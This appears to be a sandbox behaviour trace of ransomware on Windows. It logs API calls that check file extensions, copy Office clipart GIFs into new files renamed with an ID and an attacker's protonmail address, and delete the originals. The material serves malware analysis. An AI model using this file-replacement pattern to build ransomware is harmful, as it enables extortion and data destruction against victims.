	[0069.591] lstrlenW (lpString=".bz2") returned 4
	[0069.591] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.591] lstrlenW (lpString=".7z") returned 3
	[0069.591] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0069.591] lstrlenW (lpString=".dbf") returned 4
	[0069.592] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0069.592] lstrlenW (lpString=".1cd") returned 4
	[0069.592] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.592] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 68
	[0069.592] lstrlenW (lpString=".jpg") returned 4
	[0069.592] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.592] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.592] lstrlenW (lpString="AG00038_.GIF") returned 12
	[0069.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0069.592] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=3251) returned 1
	[0069.592] CloseHandle (hObject=0x334) returned 1
	[0069.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 0x220
	[0069.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0069.593] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.593] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0069.593] GetLastError () returned 0x0
	[0069.593] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0xcb3, lpOverlapped=0x0) returned 1
	[0069.595] WriteFile (in: hFile=0x380, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xcc0, lpOverlapped=0x0) returned 1
	[0069.596] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.596] WriteFile (in: hFile=0x380, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.596] SetEndOfFile (hFile=0x380) returned 1
	[0069.596] CloseHandle (hObject=0x380) returned 1
	[0069.597] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.597] SetEndOfFile (hFile=0x334) returned 1
	[0069.598] CloseHandle (hObject=0x334) returned 1
	[0069.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00038_.gif")) returned 1
	[0069.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0069.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0069.598] lstrlenW (lpString=".doc") returned 4
	[0069.599] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.599] lstrlenW (lpString=".docx") returned 5
	[0069.599] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.599] lstrlenW (lpString=".pdf") returned 4
	[0069.599] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.599] lstrlenW (lpString=".xls") returned 4
	[0069.599] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.599] lstrlenW (lpString=".xlsx") returned 5
	[0069.599] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.599] lstrlenW (lpString=".ppt") returned 4
	[0069.599] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0069.599] lstrlenW (lpString=".zip") returned 4
	[0069.599] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.599] lstrlenW (lpString=".rar") returned 4
	[0069.599] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.599] lstrlenW (lpString=".bz2") returned 4
	[0069.599] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.599] lstrlenW (lpString=".7z") returned 3
	[0069.599] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0069.599] lstrlenW (lpString=".dbf") returned 4
	[0069.599] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0069.599] lstrlenW (lpString=".1cd") returned 4
	[0069.599] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0069.599] lstrlenW (lpString=".jpg") returned 4
	[0069.599] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0069.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0069.600] lstrlenW (lpString=".doc") returned 4
	[0069.600] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.600] lstrlenW (lpString=".docx") returned 5
	[0069.600] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.600] lstrlenW (lpString=".pdf") returned 4
	[0069.600] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.600] lstrlenW (lpString=".xls") returned 4
	[0069.600] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.600] lstrlenW (lpString=".xlsx") returned 5
	[0069.600] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.600] lstrlenW (lpString=".ppt") returned 4
	[0069.600] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0069.600] lstrlenW (lpString=".zip") returned 4
	[0069.600] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.600] lstrlenW (lpString=".rar") returned 4
	[0069.600] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.600] lstrlenW (lpString=".bz2") returned 4
	[0069.600] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.600] lstrlenW (lpString=".7z") returned 3
	[0069.600] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0069.600] lstrlenW (lpString=".dbf") returned 4
	[0069.600] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0069.600] lstrlenW (lpString=".1cd") returned 4
	[0069.600] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 68
	[0069.600] lstrlenW (lpString=".jpg") returned 4
	[0069.600] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.601] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.601] lstrlenW (lpString="AG00040_.GIF") returned 12
	[0069.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0069.601] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=8097) returned 1
	[0069.601] CloseHandle (hObject=0x334) returned 1
	[0069.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220
	[0069.601] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0069.601] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.601] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0069.602] GetLastError () returned 0x0
	[0069.602] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x1fa1, lpOverlapped=0x0) returned 1
	[0069.604] WriteFile (in: hFile=0x380, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x1fb0, lpOverlapped=0x0) returned 1
	[0069.604] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.605] WriteFile (in: hFile=0x380, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.605] SetEndOfFile (hFile=0x380) returned 1
	[0069.605] CloseHandle (hObject=0x380) returned 1
	[0069.606] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.606] SetEndOfFile (hFile=0x334) returned 1
	[0069.607] CloseHandle (hObject=0x334) returned 1
	[0069.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.607] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1
	[0069.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0069.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0069.607] lstrlenW (lpString=".doc") returned 4
	[0069.607] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.607] lstrlenW (lpString=".docx") returned 5
	[0069.607] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.607] lstrlenW (lpString=".pdf") returned 4
	[0069.607] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.607] lstrlenW (lpString=".xls") returned 4
	[0069.607] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.608] lstrlenW (lpString=".xlsx") returned 5
	[0069.608] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.608] lstrlenW (lpString=".ppt") returned 4
	[0069.608] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0069.608] lstrlenW (lpString=".zip") returned 4
	[0069.608] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.608] lstrlenW (lpString=".rar") returned 4
	[0069.608] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.608] lstrlenW (lpString=".bz2") returned 4
	[0069.608] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.608] lstrlenW (lpString=".7z") returned 3
	[0069.608] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0069.608] lstrlenW (lpString=".dbf") returned 4
	[0069.608] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0069.608] lstrlenW (lpString=".1cd") returned 4
	[0069.608] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0069.608] lstrlenW (lpString=".jpg") returned 4
	[0069.608] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0069.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0069.608] lstrlenW (lpString=".doc") returned 4
	[0069.608] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.608] lstrlenW (lpString=".docx") returned 5
	[0069.609] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.609] lstrlenW (lpString=".pdf") returned 4
	[0069.609] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.609] lstrlenW (lpString=".xls") returned 4
	[0069.609] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.609] lstrlenW (lpString=".xlsx") returned 5
	[0069.609] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.609] lstrlenW (lpString=".ppt") returned 4
	[0069.609] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0069.609] lstrlenW (lpString=".zip") returned 4
	[0069.609] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.609] lstrlenW (lpString=".rar") returned 4
	[0069.609] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.609] lstrlenW (lpString=".bz2") returned 4
	[0069.609] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.609] lstrlenW (lpString=".7z") returned 3
	[0069.609] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0069.609] lstrlenW (lpString=".dbf") returned 4
	[0069.609] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0069.609] lstrlenW (lpString=".1cd") returned 4
	[0069.609] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68
	[0069.609] lstrlenW (lpString=".jpg") returned 4
	[0069.609] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.610] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0069.610] lstrlenW (lpString="AG00052_.GIF") returned 12
	[0069.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0069.610] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=7686) returned 1
	[0069.610] CloseHandle (hObject=0x334) returned 1
	[0069.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 0x220
	[0069.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0069.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0069.611] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.611] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0069.611] GetLastError () returned 0x0
	[0069.611] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x1e06, lpOverlapped=0x0) returned 1
	[0069.614] WriteFile (in: hFile=0x380, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0x1e10, lpOverlapped=0x0) returned 1
	[0069.615] ReadFile (in: hFile=0x334, lpBuffer=0x3de7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.615] WriteFile (in: hFile=0x380, lpBuffer=0x3de7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3de7020*, lpNumberOfBytesWritten=0x339fc94*=0xec, lpOverlapped=0x0) returned 1
	[0069.615] SetEndOfFile (hFile=0x380) returned 1
	[0069.615] CloseHandle (hObject=0x380) returned 1
	[0069.616] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.616] SetEndOfFile (hFile=0x334) returned 1
	[0069.617] CloseHandle (hObject=0x334) returned 1
	[0069.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0069.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00052_.gif")) returned 1
	[0069.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0069.617] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0069.617] lstrlenW (lpString=".doc") returned 4
	[0069.617] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.617] lstrlenW (lpString=".docx") returned 5
	[0069.617] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.618] lstrlenW (lpString=".pdf") returned 4
	[0069.618] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.618] lstrlenW (lpString=".xls") returned 4
	[0069.618] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.618] lstrlenW (lpString=".xlsx") returned 5
	[0069.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.618] lstrlenW (lpString=".ppt") returned 4
	[0069.618] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0069.618] lstrlenW (lpString=".zip") returned 4
	[0069.618] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.618] lstrlenW (lpString=".rar") returned 4
	[0069.618] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.618] lstrlenW (lpString=".bz2") returned 4
	[0069.618] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0069.618] lstrlenW (lpString=".7z") returned 3
	[0069.618] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0069.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0069.618] lstrlenW (lpString=".dbf") returned 4
	[0069.618] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0069.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0069.618] lstrlenW (lpString=".1cd") returned 4
	[0069.618] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0069.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0069.618] lstrlenW (lpString=".jpg") returned 4
	[0069.618] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0069.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0069.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0069.618] lstrlenW (lpString=".doc") returned 4
	[0069.618] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0069.618] lstrlenW (lpString=".docx") returned 5
	[0069.618] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0069.619] lstrlenW (lpString=".pdf") returned 4
	[0069.619] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0069.619] lstrlenW (lpString=".xls") returned 4
	[0069.619] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0069.619] lstrlenW (lpString=".xlsx") returned 5
	[0069.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0069.619] lstrlenW (lpString=".ppt") returned 4
	[0069.619] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0069.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00052_.GIF") returned 68
	[0069.619] lstrlenW (lpString=".zip") returned 4
	[0069.619] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0069.619] lstrlenW (lpString=".rar") returned 4
	[0069.619] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0069.619] lstrlenW (lpString=".bz2") returned 4
	[0069.619] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
